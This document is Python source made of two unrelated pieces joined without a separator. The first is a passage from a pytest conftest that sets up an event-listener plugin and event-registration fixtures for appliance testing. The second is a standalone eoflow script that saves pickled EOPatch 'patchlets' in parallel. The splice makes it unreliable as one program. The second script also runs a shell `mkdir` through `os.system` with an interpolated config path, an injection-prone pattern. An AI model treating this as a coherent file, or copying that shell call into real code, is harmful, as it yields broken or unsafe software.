                     help='Filename of result report. (default: %default)')
    parser.addoption('--event-testing-port',
                     action='store',
                     dest='event_testing_port',
                     default="65432",
                     help='Port of the testing listener. (default: %default)')
    parser.addoption('--event-testing-settletime',
                     action='store',
                     dest='event_testing_settletime',
                     default=60,
                     help='Time to wait after all testing has been finished' +
                     'for remaining events to come. (default: %default)')
    parser.addoption('--event-testing-verbose-listener',
                     action='store_true',
                     dest='event_testing_verbose_listener',
                     default=False,
                     help='Enabled access logging from the event listener')

def pytest_configure(config):
    """ Event testing setup.

    Sets up and registers the EventListener plugin for py.test.
    If the testing is enabled, listener is started.
    """
    plugin = EventListener(config.getoption("event_testing_port"),
                           config.getoption("event_testing_settletime"),
                           config.getoption("event_testing_verbose_listener"))
    registration = config.pluginmanager.register(plugin, "event_testing")
    assert registration
    if config.getoption("event_testing_enabled"):
        plugin.start()

@pytest.fixture(scope="module")
def configure_appliance_for_event_testing(listener_info):
    """ This fixture ensures that the appliance is configured for event testing.
    """
    return setup_for_event_testing(
        SSHClient(), db_session_maker(), listener_info, providers.list_infra_providers()
    )

@pytest.yield_fixture(scope="function")
def register_event(uses_event_listener, configure_appliance_for_event_testing, request):
    """register_event(sys_type, obj_type, obj, event)
    Event registration fixture (ALWAYS PLACE BEFORE PAGE NAVIGATION FIXTURE!)

    This fixture is used to notify the testing system that some event
    should have occured during execution of the test case using it.
    It does not register anything by itself.

    Args:
        sys_type: Management system type to expect
        obj_type: Management system related object type to expect
        obj: Expected identifier for related object
        event: Event name or list of event names to expect

    Returns: :py:class:`EventExpectation`

    Usage:

        def test_something(foo, bar, register_event):
            register_event("systype", "objtype", "obj", "event")
            # or
            register_event("systype", "objtype", "obj", ["event1", "event2"])
            # do_some_stuff_that_triggers()

    For host_events, use `None` for sys_type.

    It also registers the time when the registration was done so we can filter
    out the same events, but coming in other times (like vm on/off/on/off will
    generate 3 unique events, but twice, distinguishable only by time).
    It can also partially prevent scumbag 'Jimmy' ruining the test if he does
    something in the hypervisor that the listener registers.

    After the test function finishes, it checks the listener whether it has caught the events.
    If any of the events has not been caught, it raises a pytest.fail.
    Before and after each test run using this fixture, database is cleared.

    """
    # We pull out the plugin directly.
    self = request.config.pluginmanager.getplugin("event_testing")  # Workaround for bind
    node_id = request.node.nodeid

    if self.listener is not None:
        logger.info("Clearing the database before testing ...")
        self._delete_database()
        self.expectations = []

    yield self  # Run the test and provide the plugin as a fixture

    if self.listener is not None:
        logger.info("Checking the events ...")
        try:
            wait_for(self.check_all_expectations,
                     delay=5,
                     num_sec=75,
                     handle_exception=True)
        except TimedOutError:
            pass

        self.processed_expectations[node_id].extend(self.expectations)
        logger.info("Clearing the database after testing ...")
        self._delete_database()
        self.expectations = []


import logging
import pickle
import os
import glob

from concurrent.futures import ThreadPoolExecutor

from tqdm.auto import tqdm

from eolearn.core import EOPatch

from eoflow.data_loader import EOMultiTempDataGenerator
from eoflow.utils import process_config
from eoflow.utils import create_dirs
from eoflow.utils import get_args

logging.basicConfig(level=logging.INFO,
                    format='%(asctime)s %(levelname)s %(message)s')

def main():
    # capture the config path from the run arguments
    # then process the json configuration file
    try:
        args = get_args()
        config = process_config(args.config)
    except RuntimeError:
        print("missing or invalid arguments")
        exit(0)

    # create the experiments dirs
    create_dirs([config.log_dir, config.checkpoint_dir])

    data_creator = EOMultiTempDataGenerator(config)

    def save_patchlets(filename):
        eopatch = EOPatch.load(filename, lazy_loading=True)
        patch_name = filename.split('/')[-1]

        if not os.path.isdir(f'{config.save_patchlet_dir}{patch_name}/'):
            os.system(f'mkdir {config.save_patchlet_dir}{patch_name}/')

        if len(glob.glob(f'{config.save_patchlet_dir}{patch_name}/*')) == config.n_patchlets:
            return None

        for index in range(config.n_patchlets):
            seed = data_creator.get_seed_for_patch(filename, index)
            patchlet = data_creator.read_eopatch(filename, seed, eopatch)
            if patchlet is not None:
                pickle.dump(patchlet,
                            open(f'{config.save_patchlet_dir}{patch_name}/patchlet_{patch_name}_{index}.pkl', 'wb'))

    with open(os.path.join(config.log_dir, config.train_cval_log), 'rb') as f:
        train_set, _ = pickle.load(f)

    with ThreadPoolExecutor(max_workers=config.workers) as executor:
        _ = list(tqdm(executor.map(save_patchlets, train_set), total=len(train_set)))

if __name__ == '__main__':
    main()